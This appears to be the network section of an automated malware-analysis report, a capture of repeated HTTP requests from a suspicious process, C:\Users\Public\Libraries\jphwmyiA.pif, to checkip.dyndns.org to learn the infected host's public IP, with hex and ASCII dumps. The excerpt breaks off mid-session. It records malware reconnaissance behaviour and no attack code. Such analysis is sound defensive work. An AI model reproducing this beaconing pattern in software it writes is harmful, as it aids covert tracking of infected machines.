                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          4192.168.2.549813132.226.8.169802228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:20.971340895 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:24.339050055 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:24 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                          Jan 7, 2025 13:25:24.350286961 CET127OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Jan 7, 2025 13:25:26.030172110 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:25 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                          Jan 7, 2025 13:25:29.636305094 CET127OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Jan 7, 2025 13:25:29.899063110 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:29 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                          Jan 7, 2025 13:25:30.119915009 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:29 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          5192.168.2.549831132.226.8.169806396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:23.953386068 CET127OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Jan 7, 2025 13:25:25.551780939 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:25 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          6192.168.2.549848132.226.8.169806396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:26.286412954 CET127OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Jan 7, 2025 13:25:27.100621939 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:26 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          7192.168.2.549860132.226.8.169806396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:27.800944090 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:28.585275888 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:28 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          8192.168.2.549872132.226.8.169805476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:28.998550892 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:29.819106102 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:29 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                          Jan 7, 2025 13:25:29.822537899 CET127OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Jan 7, 2025 13:25:30.084480047 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:29 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                          Jan 7, 2025 13:25:30.299998045 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:29 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
                                                                                                                                                          Jan 7, 2025 13:25:31.202631950 CET127OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Jan 7, 2025 13:25:31.475732088 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:31 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          9192.168.2.549873132.226.8.169806396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:29.308279037 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:30.078886032 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:29 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          10192.168.2.549886132.226.8.169802228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:30.517153978 CET127OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Jan 7, 2025 13:25:31.304066896 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:31 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          11192.168.2.549889132.226.8.169806396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:30.702820063 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:31.497011900 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:31 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          12192.168.2.549901132.226.8.169802228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:31.952028036 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:33.304622889 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:33 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          13192.168.2.549904132.226.8.169805476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:32.108401060 CET127OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Jan 7, 2025 13:25:33.526985884 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:33 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          14192.168.2.549905132.226.8.169806396C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:32.123080969 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:33.432992935 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:33 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          15192.168.2.549919132.226.8.169802228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:33.935595989 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:34.711153030 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:34 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          16192.168.2.549921132.226.8.169805476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:34.156344891 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:34.988179922 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:34 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          17192.168.2.549932132.226.8.169802228C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:35.325990915 CET151OUTGET / HTTP/1.1
                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
                                                                                                                                                          Host: checkip.dyndns.org
                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                          Jan 7, 2025 13:25:36.139569998 CET273INHTTP/1.1 200 OK
                                                                                                                                                          Date: Tue, 07 Jan 2025 12:25:36 GMT
                                                                                                                                                          Content-Type: text/html
                                                                                                                                                          Content-Length: 104
                                                                                                                                                          Connection: keep-alive
                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                          Pragma: no-cache
                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                          Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>


                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                          18192.168.2.549934132.226.8.169805476C:\Users\Public\Libraries\jphwmyiA.pif
                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                          Jan 7, 2025 13:25:35.597207069 CET151OUTGET / HTTP/1.1
